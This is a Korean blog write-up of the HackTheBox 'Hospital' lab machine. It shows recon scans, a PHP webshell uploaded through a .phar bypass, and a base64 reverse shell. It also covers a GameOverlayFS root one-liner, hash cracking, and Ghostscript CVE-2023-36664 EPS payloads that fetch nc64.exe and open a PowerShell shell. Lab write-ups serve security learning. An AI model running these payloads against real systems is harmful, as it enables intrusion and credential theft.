Post

HTB Hospital

HackTheBox 오픈베타 시즌3의 8번째 머신으로 Windows 환경의 중간 난이도로 출시되었다. 이번 포스팅에서는 Hospital 머신의 해결 과정을 기록한다.

Recon

PortScan

발급받은 Hospital 머신을 대상으로 포트 스캔 시 Windows 박스 환경에서 주로 확인 가능한 포트들이 오픈되어있으며, AD 환경으로 구성되어있는것으로 확인이 가능하다.

LDAP 서비스에 대한 스캔 결과에서hospital.htb 도메인을 확인할 수 있으며, DC는 dc.hospital.htb으로 확인된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-19 14:20 KST
Nmap scan report for hospital.htb (10.129.231.85)
Host is up (0.30s latency).

PORT     STATE SERVICE           VERSION
22/tcp   open  ssh               OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e1:4b:4b:3a:6d:18:66:69:39:f7:aa:74:b3:16:0a:aa (ECDSA)
|_  256 96:c1:dc:d8:97:20:95:e7:01:5f:20:a2:43:61:cb:ca (ED25519)
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2023-11-19 12:20:30Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
443/tcp  open  ssl/http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
|_http-title: Hospital Webmail :: Welcome to Hospital Webmail
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
1801/tcp open  msmq?
2103/tcp open  msrpc             Microsoft Windows RPC
2105/tcp open  msrpc             Microsoft Windows RPC
2107/tcp open  msrpc             Microsoft Windows RPC
2179/tcp open  vmrdp?
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3269/tcp open  globalcatLDAPssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3389/tcp open  ms-wbt-server     Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: HOSPITAL
|   NetBIOS_Domain_Name: HOSPITAL
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: hospital.htb
|   DNS_Computer_Name: DC.hospital.htb
|   DNS_Tree_Name: hospital.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2023-11-19T12:21:29+00:00
| ssl-cert: Subject: commonName=DC.hospital.htb
| Not valid before: 2023-09-05T18:39:34
|_Not valid after:  2024-03-06T18:39:34
5985/tcp open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6061/tcp open  msrpc             Microsoft Windows RPC
6404/tcp open  msrpc             Microsoft Windows RPC
6406/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
6407/tcp open  msrpc             Microsoft Windows RPC
6409/tcp open  msrpc             Microsoft Windows RPC
6612/tcp open  msrpc             Microsoft Windows RPC
6636/tcp open  msrpc             Microsoft Windows RPC
8080/tcp open  http              Apache httpd 2.4.55 ((Ubuntu))
|_http-server-header: Apache/2.4.55 (Ubuntu)
| http-title: Login
|_Requested resource was login.php
|_http-open-proxy: Proxy might be redirecting requests
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
9389/tcp open  mc-nmf            .NET Message Framing
Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2023-11-19T12:21:33
|_  start_date: N/A
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m58s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.54 seconds

WEB

LDAP, SMB, RPC 서비스를 통해 정보를 수집하려했으나, 인증없이 의미있는 정보를 획득하기 어려웠기에 웹 서비스로 식별되는 443/tcp, 8080/tcp를 탐색한다.

hospital.htb:443

443/tcp를 통해 서비스되는 웹페이지에 접근 시 아래와 같이 로그인 페이지를 확인할 수 있다.

Desktop View

Dangerous File Scan

fuzz.txt를 사용하여 노출될 시 위험할 수 있는 파일들을 스캔하니 아래와 같은 구조가 파악되었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ ffuf -w ~/Desktop/Tools/wordlist/dangerous.txt -u https://hospital.htb/FUZZ  -fs 303

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : https://hospital.htb/FUZZ
 :: Wordlist         : FUZZ: /Users/juicemon/Desktop/Tools/wordlist/dangerous.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 303
________________________________________________

cgi-bin/printenv.pl     [Status: 500, Size: 634, Words: 67, Lines: 17, Duration: 234ms]
index.php               [Status: 200, Size: 5322, Words: 366, Lines: 97, Duration: 270ms]
installer               [Status: 301, Size: 343, Words: 22, Lines: 10, Duration: 228ms]
phpmyadmin/             [Status: 403, Size: 422, Words: 37, Lines: 12, Duration: 255ms]
phpmyadmin/scripts/setup.php [Status: 403, Size: 422, Words: 37, Lines: 12, Duration: 255ms]
phpmyadmin/phpmyadmin/index.php [Status: 403, Size: 422, Words: 37, Lines: 12, Duration: 255ms]
phpmyadmin/index.php    [Status: 403, Size: 422, Words: 37, Lines: 12, Duration: 256ms]
server-status/          [Status: 403, Size: 422, Words: 37, Lines: 12, Duration: 231ms]
server-info             [Status: 403, Size: 422, Words: 37, Lines: 12, Duration: 231ms]
server-status           [Status: 403, Size: 422, Words: 37, Lines: 12, Duration: 234ms]
:: Progress: [5237/5237] :: Job [1/1] :: 180 req/sec :: Duration: [0:00:33] :: Errors: 0 ::

phpmyadmin과 관련된 경로들은 접근이 불가능한 것으로 파악되며, 확인된 경로 중 /installer에 접근 시 아래와 같이 RoundCube라는 웹메일 오픈소스 프레임워크로 제작된 페이인것을 확인할 수 있었다.

하지만 보여지는것 처럼 설정 파일 내 $config['enable_installer'] 값이 false로 되어있어 이미 설치가 진행되었음을 확인할 수 있다.

추가적으로 RoundCube의 알려진 취약점이나 디폴트 패스워드 등을 찾아보았으나 건질만한 정보는 없었다.

Desktop View

hospital.htb:8080

두번째로 식별되는 8080/tcp를 통해 서비스되는 웹페이지 접근 시 이번에도 로그인 페이지를 확인할 수 있으며 회원가입 기능도 존재하는 것으로 파악된다.

Desktop View

회원가입 후 로그인하면 진료기록부를 업로드할 수 있는 폼을 확인할 수 있다.

Desktop View

파일업로드 테스트를 위해 정상적인 PNG 파일인 test.png를 업로드했으나 업로드하는 과정에서 업로드되는 디렉터리는 확인할 수 없었다.

Dir Scan

업로드 경로가 웹루트 하위에 존재할 가능성을 배제할 수 없기에 디렉터리 스캔 결과 /uploads 라는 디렉터를 확인할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ffuf -w ~/Desktop/Tools/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt -u http://hospital.htb:8080/FUZZ                    1 ↵

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://hospital.htb:8080/FUZZ
 :: Wordlist         : FUZZ: /Users/juicemon/Desktop/Tools/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

js                      [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 316ms]
images                  [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 316ms]
uploads                 [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 331ms]
css                     [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 1279ms]
fonts                   [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 311ms]
vendor                  [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 220ms]

위에서 업로드한 PNG파일에 접근이 가능한지 확인하기 위해 /uploads/test.png에 접근 시 정상적으로 업로드한 이미지에 접근 할 수 있었다!

Desktop View

이후 .php 확장자를 업로드 시 failed.php로 리다이렉트되는 것으로 보아 확장자 검증 로직이 존재하는 것으로 예상된다.

Desktop View

Foothold

File Upload

위에서 파일 업로드 시 확장자 검증이 존재하는 것으로 파악되어 PHP 파일 업로드 시 가능한 모든 확장자를 테스트하기위해 PayloadAllTheThings/Upload Insecure Files/Extension PHP를 참고하여 가능한 모든 PHP 확장자를 업로드 시도하였으며 .phar 확장자가 업로드 가능한 것으로 파악되었다.

아래와 같은 내용의 shell.phar를 업로드 후 _ 파라미터에 커멘드를 전송하니 정상적으로 업로드는 된것으로 보이나, 기대한 결과가 출력되지 않아 적지않게 당황하였다.

1
<?=`$_GET[_]`?>

위에서 업로드한 PHP Simple Webshell 이외 다른 웹쉘도 동일한 현상을 보이는지 테스트하기위해 PHP C99 Webshell을 업로드하니 정상적으로 웹쉘 페이지에 접근이 가능했고, 웹쉘의 기능들도 정상 동작하는것을 확인할 수 있었다.

Desktop View

웹쉘을 통해 기본적인 시스템 정보를 파악하니 www-data 권한으로 웹 서비스가 동작중이며, Linux webserver 5.19.0-35-generic #36-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 3 18:36:56 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux 라는 시스템 정보를 확인할 수 있었다.

일단 이번 머신은 Windows 머신으로 알고 있었기에 Linux가 나오는 케이스는 처음이라 조금 당황했지만, 컨테이너 환경으로 웹 서비스를 운영중일 수 도 있다는 생각에 대수롭지않게 넘어갔다.

이후 웹쉘의 명령 실행 기능을 통해 아래와 같은 명렁을 실행시켜 www-data의쉘 획득을 시도한다.

1
echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjM2IiwzMDAwMCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oIi9iaW4vYmFzaCIpJw==" | base64 -d | /bin/bash

정상적으로 리버스 쉘 커멘드가 실행되어 공격자가 리스닝하고있던 포트로 www-data의 쉘을 받아볼 수 있었다.

1
2
3
www-data@webserver:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

이후 시스템을 정찰하면서 /var/www/html/config.php 파일에서 MySQL 계정 정보를 파악할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', 'my$qls3rv1c3!');
define('DB_NAME', 'hospital');

/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);

// Check connection
if($link === false){
    die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>

MySQL

위에서 확인된 MySQL 계정 정보를 통해 www-data 쉘에서 MySQL 접근이 가능하여 데이터베이스 탐색을 시작한다.

databases

확인되는 DB 중 MySQL에 기본적으로 존재하는 DB외 확인되는 DB는 hospital DB 하나만 식별된다.

1
2
3
4
5
6
7
8
9
10
11
MariaDB [(none)]> show databases;

+--------------------+
| Database           |
+--------------------+
| hospital           |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+

hospital - tables

hospital 데이터베이스에서 테이블을 열거하니 users 테이블 하나만 식별된다.

1
2
3
4
5
6
7
8
MariaDB [hospital]> show tables;

+--------------------+
| Tables_in_hospital |
+--------------------+
| users              |
+--------------------+
1 row in set (0.000 sec)

hospital.users

확인된 users 테이블에서 admin, patient 계정의 패스워드 해시를 확보할 수 있었다!

1
2
3
4
5
6
7
8
9
MariaDB [hospital]> select * from users;
select * from users;
+----+----------+--------------------------------------------------------------+---------------------+
| id | username | password                                                     | created_at          |
+----+----------+--------------------------------------------------------------+---------------------+
|  1 | admin    | $2y$10$caGIEbf9DBF7ddlByqCkrexkt0cPseJJ5FiVO1cnhG.3NLrxcjMh2 | 2023-09-21 14:46:04 |
|  2 | patient  | $2y$10$a.lNstD7JdiNYxEepKf1/OZ5EM5wngYrf.m5RxXCgSud7MVU6/tgO | 2023-09-21 15:35:11 |
|  3 | juicemon | $2y$10$IJW6wIxJ5jWOu0wuQFIoo.hrqt002ipsLpv3tc.f8/WnLEctuPKay | 2023-11-22 12:04:53 |
+----+----------+--------------------------------------------------------------+---------------------+

john the ripper를 통해 확보한 해시를 크랙 시도하니 admin 계정의 패스워드를 크랙할 수 있었으나, 8080/tcp로 서비스되는 웹서비스에 로그인이 가능했지만 로그인 이후에도 중요한 기능은 확인할 수 없었다.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/Desktop/Hospital]
└─# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456           (admin)
patient          (patient)
2g 0:00:03:20 DONE (2023-11-22 00:46) 0.009997g/s 267.0p/s 267.2c/s 267.2C/s poohbear01..papasote
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Gameoverlay FS

www-data 권한을 벗어나기위해 GameoverlayFS Exploit을 사용하여 root권한으로 /bin/bash에 SetUID를 부여하는 커멘드를 실행한다.

1
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("chmod u+s /bin/bash")'

이후 /bin/bash -p 를 통해 루트 권한 획득 후 /etc/shadow 파일 내용을 확인하여 drwilliams 계정의 패스워드 해시를 탈취할 수 있었고, 해당 해시 크랙에 성공할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~/Desktop/Hospital]
└─# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
qwe123!@#        (drwilliams)
1g 0:00:00:22 DONE (2023-11-22 00:57) 0.04472g/s 9594p/s 9594c/s 9594C/s rayden1..plainfield
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

RPC

위에서 확보한 drwilliams:qwe123!@# 계정 정보를 이용하여 RPC 인증에 대입하니 인증이 가능했으며, 다음과 같은 쿼리를 통해 모든 유저를 열거할 수 있었다.

여기서부터는 Linux환경이 아닌 Windows 환경이다.

의미있어 보이는 계정은 총 3개로 그중 drwilliams의 계정은 확보된 상태이다.

1
2
3
Administrator
drbrown
drwilliams

SMB

SMB 서비스에도 drwilliams의 계정을 통해 인증이 가능으나 열거된 공유 디렉터리 중 SYSVOL 디렉터리에만 파일들이 존재했다. 하지만 아쉽게도 의미있는 데이터는 확인할 수 없었다.

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~/Desktop/Hospital]
└─# smbclient -L //10.129.52.233 -U "drwilliams"
Password for [WORKGROUP\drwilliams]:

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share
	SYSVOL          Disk      Logon server share

hospital.htb:443

초기 정찰 과정에서 훑어보았던 443/tcp 웹서비스에 접근하여 drwilliams 계정 정보로 로그인 시도 시 로그인이 가능했으며, 웹 메일 페이지를 확인할 수 있다.

Desktop View

위에서 확인된 drbrown의 메일을 내용을 훑어보면… 뭔소린지 모르겠지만 GhostSCript.eps 확장자를 언급하였다.

1
2
3
4
5
6
7
8
9
10
Dear Lucy,

I wanted to remind you that the project for lighter, cheaper and environmentally friendly needles is still ongoing 💉.

You are the one in charge of providing me with the designs for these so that I can take them to the 3D printing department and start producing them right away.

Please make the design in an ".eps" file format so that it can be well visualized with GhostScript.

Best regards,
Chris Brown.

CVE-2023-366664

GhostScript가 무엇인지 파악하니 Adobe 소프트웨어로 확인되었고 .eps 확장자와 함께 검색하니 다양한 악성코드와 관련된 뉴스와 블로그 글을 확인할 수 있었다.

GhostScript의 CVE를 탐색하는 과정에서 (CVE-2023-36664)[https://www.rapid7.com/db/?q=CVE-2023-36664&type=]를 찾아 볼 수 있었고, Ghostscript command injection vulnerability PoC (CVE-2023-36664)를 통해 공격해볼만한 가치가 있다고 판단하였다.

위 PoC 레포지토리를 클론하여 테스트를 위한 eps 파일을 생성하였다.

1
2
$ python3 CVE_2023_36664_exploit.py --generate --payload 'curl http://10.10.14.36:9000/ghostscript-cve-test' --filename test --extension eps             130 ↵
[+] Generated EPS payload file: test.eps

python3 심플 웹서버를 띄워두고, 생성한 test.eps 파일을 이메일에 첨부하여 drbrown 에게 전송 시 커멘드 인젝션이 실행되면서 curl 이 대상 서버에서 실행되고, 공격자 웹 서버에 접근하는 것을 확인할 수 있었다.

1
2
3
4
5
$ python3 -m http.server 9000
Serving HTTP on :: port 9000 (http://[::]:9000/) ...

::ffff:10.129.53.51 - - [23/Nov/2023 14:55:30] code 404, message File not found
::ffff:10.129.53.51 - - [23/Nov/2023 14:55:30] "GET /ghostscript-cve-test HTTP/1.1" 404 -

Users

drbrown

취약점이 사용 가능한 것을 파악하여 먼저 공격자 PC에서 nc64.exe를 다운로드하도록하는 eps를 제작한다.

1
2
$ python3 CVE_2023_36664_exploit.py --generate --payload 'curl http://10.10.14.36:9000/nc64.exe -o nc64.exe' --filename cmd --extension eps
[+] Generated EPS payload file: cmd.eps

생성된 cmd.eps를 메일에 첨부하여 동일하게 drbrown에게 전송 후 몇초 후 nc64.exe 파일을 다운로드해 가는것을 확인할 수 있다.

1
2
3
4
╭─juicemon@juicemon-mac ~/Desktop/HTB/Hospital 
╰─$ python3 -m http.server 9000
Serving HTTP on :: port 9000 (http://[::]:9000/) ...
::ffff:10.129.53.51 - - [23/Nov/2023 15:06:33] "GET /nc64.exe HTTP/1.1" 200 -

마지막으로 다운로드 시킨 nc64.exe를 통해 공격자에게 파워쉘을 전달하는 리버스 쉘 커멘드가 포함된 eps 파일을 제작한다.

1
2
$ python3 CVE_2023_36664_exploit.py --generate --payload 'nc64.exe 10.10.14.36 30001 -e powershell.exe' --filename revshell --extension eps
[+] Generated EPS payload file: revshell.eps

제작한 revshell.eps 파일을 동일하게 메일에 첨부하여 drbrown에게 전송 시 공격자 리스너 포트로 drbrown 권한의 powershell를 전달받을 수 있는 것을 확인할 수 있다.

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/Desktop/Hospital/CVE-2023-36664-Ghostscript-command-injection]
└─# nc -lvnp 30000
listening on [any] 30000 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.53.51] 6184
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\drbrown.HOSPITAL\Documents>  whoami
whoami
hospital\drbrown

Privilege Escalation

drbrown 권한의 쉘을 획득한 후 C:\Users\drbrown\Documents\ghostscript.bat를 확인할 수 있었고, 해당 파일은 수신받는 메일에 대한 eps파일을 처리하는 스크립트로 확인됐다.

또 해당 배치 스크립트에서 패스워드도 확보할 수 있었다.

1
2
3
4
5
6
PS C:\Users\drbrown.HOSPITAL\Documents> type ghostscript.bat
type ghostscript.bat

@echo off
set filename=%~1
powershell -command "$p = convertto-securestring 'chr!$br0wn' -asplain -force;$c = new-object system.management.automation.pscredential('hospital\drbrown', $p);Invoke-Command -ComputerName dc -Credential $c -ScriptBlock { cmd.exe /c "C:\Program` Files\gs\gs10.01.1\bin\gswin64c.exe" -dNOSAFER "C:\Users\drbrown.HOSPITAL\Downloads\%filename%" }"

https://hospital.htb:443은 정찰 과정에서도 확인된 것처럼 RoundCube 오픈 소스 웹 메일 프레임워크로 해당 서비스는 xampp로 구동되는것으로 확인되고 SYSTEM 권한으로 생성되었으며 확보한 계정인 drbrown에게도 쓰기 권한이 존재한다.

1
2
3
4
5
6
7
8
9
PS C:\xampp\htdocs> icacls .
icacls .
. NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(F)
  NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
  BUILTIN\Administrators:(I)(OI)(CI)(F)
  BUILTIN\Users:(I)(OI)(CI)(RX)
  BUILTIN\Users:(I)(CI)(AD)
  BUILTIN\Users:(I)(CI)(WD)
  CREATOR OWNER:(I)(OI)(CI)(IO)(F)

정찰에 쏟은 시간이 아깝게도 생각보다 쉡게 권한 상승이 가능할 것 같다. SYSTEM 권한으로 실행되는 웹 메일 서비스의 웹루트에 이동하여 공격자 PC에서 PHP 웹쉘을 다운로드한다.

1
PS C:\xampp\htdocs> curl http://10.10.14.36:9000/shell.php -o shell.php

이후 해당 웹쉘로 커멘드를 전달하면 SYSTEM 권한을 확보할 수 있어 이렇게 권한 상승까지 마무리하며 Hospital 머신을 마무리 할 수 있었다.

1
2
$ curl https://10.129.53.51/shell.php?_=whoami -k
nt authority\system

This post is licensed under CC BY 4.0 by the author.